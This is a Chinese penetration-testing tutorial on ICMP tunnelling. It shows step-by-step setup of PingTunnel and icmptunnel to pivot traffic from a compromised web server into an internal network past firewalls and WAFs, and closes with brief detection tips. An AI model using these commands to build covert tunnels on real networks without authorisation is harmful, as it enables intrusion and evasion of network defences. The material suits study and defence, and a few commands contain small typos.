ICMP隧道传输

简介

ICMP协议

ICMP(Internet Control Message Protocol), 全称为Internet控制报文协议, 它是TCP/IP协议的一个子协议,用于在IP主机、路由器之间传递控制消息。

控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。

ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头

使用场景

在渗透测试工作中,经常会碰到web入口机或内网主机无论使用TCP、UDP都无法使其上线c2服务端,而且web入口主机被层层waf保护,reg、abtts、tunna等HTTP代理都无法使用的情况。如果目标主机可以ping通外网,不拦截icmp数据包,那此时可选择使用icmp协议隧道把目标内网流量转发出来。防火墙一般也不会屏蔽ping的数据包

ICMP隧道原理

将包含payload的IP流量封装在ICMP请求数据包中, 并发送给ICMP服务端, 服务端收到数据包后会对其解包并转发IP流量, 在发往客户端的数据包会再次封装在ICMP回复数据包中

也就是说客户端与服务端之间的通信只使用了ICMP协议

PingTunnel工具

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码

环境拓扑

工具安装

在kali安装libpcap的依赖环境

apt-get install byacc
apt-get install flex bison

执行如下命令, 下载libpcap的依赖库: http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz

wegt http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

执行如下命令, 下载PingTunnel: http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -zxvf PingTunnel-0.72
cd PingTunnel
make && make install

报错解决

在web服务器也要按照如上步骤安装依赖环境和PingTunnel工具, 此处我的web服务器是ubuntu, 在使用ptunnel命令时遇到如下图所示的错误, 解决方法很简单

建立软连接

sudo ln -s /usr/local/lib/libpcap.so.1  /usr/lib/libpcap.so.1

增加如下内容至/etc/ld.so.conf文件

/usr/local/lib
/usr/lib

重新加载配置: ldconfig

使用步骤

在web服务器执行如下指令, 设置icmp隧道连接密码

ptunnel -x henry666  //创建连接密码

在kali(攻击机)执行如下命令连接web服务器, 意思是当访问本地(kali)的1080端口时, 会把内网主机80端口的数据封装在ICMP隧道中, 以Web服务器作为跳板与kali进行数据交互

ptunnel -p 192.168.47.151 -lp 1080 -da 192.168.52.129 -dp 80 -x henry666

-p: 指定ICMP隧道另一端的IP(跳板机IP)

-lp: 监听的本地端口

-da: 指定要转发的目标主机IP

-dp: 指定要转发的目标主机端口

-x: 指定连接密码

随后kali访问本机的1080端口, 即可访问到内网主机的80端口

icmptunnel工具

工具介绍

IcmpTunnel工具是jamesbarlow师傅用C语言写的, 通过创虚拟网卡, 使用ICMP协议传输IP流量, 以此来通过有状态的防火墙和NAT进行隧道传输

工具下载地址: https://github.com/jamesbarlow/icmptunnel

此工具的使用条件如下:

  • 要求攻击机(服务端)与目标主机(客户端)是linux环境

  • 目标主机能够ping通攻击机

环境拓扑

操作步骤

将icmptunnel文件拷贝至攻击机和目标主机, 并在其文件夹内运行make命令编译工具

在攻击机和目标主机输入如下命令, 禁用内核PING

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

进入icmptunnel文件夹执行如下命令, 在攻击机建立虚拟网卡并分配IP

root@kali:~/桌面/icmptunnel# ./icmptunnel -s
opened tunnel device: tun1
root@kali:~/桌面/icmptunnel# ifconfig tun0 10.0.0.1 netmask 255.255.255.0
root@kali:ifconfig

注意: 分别用两个Shell执行以上两行命令

目标主机输入如下命令连接服务端并分配IP, 连接成功会显示"connection established"

root@ubuntu:/home/xiaodi/Desktop/icmptunnel# ./icmptunnel 192.168.47.134
opened tunnel device: tun0
connection established.
root@ubuntu:/home/xiaodi# ifconfig tun0 10.0.0.2 netmask 255.255.255.0
root@ubuntu:ifconfig

完成以上步骤则代表隧道建立完毕, 可以在攻击机(服务端)使用ssh连接目标主机(客户端)

当然客户端也可以连接服务端

抓包分析

kali机用Wireshark抓取eth0网卡的流量, 可发现所有的TCP流量都封装至ICMP流量中

抓取tun0网卡的流量, 数据包都是TCP或SSH的, 也就是说TCP流量是通过tun0进行点对点之间的传输

入侵检测

1.检查虚拟网卡信息

输入ifconfig查看网卡配置信息, 若发现陌生的网卡, 则很有可能是有问题的

2.查看系统的内核ping是否被禁止

终端命令行输入: cat /proc/sys/net/ipv4/icmp_echo_ignore_all, 若为1则表示ping被禁止了

3.抓包分析是否有异常ICMP数据包

参考文章

  • https://blog.csdn.net/weixin_42282667/article/details/123359169

  • https://blog.csdn.net/weixin_44604541/article/details/118898232

  • https://cloud.tencent.com/developer/article/2098581

最后更新于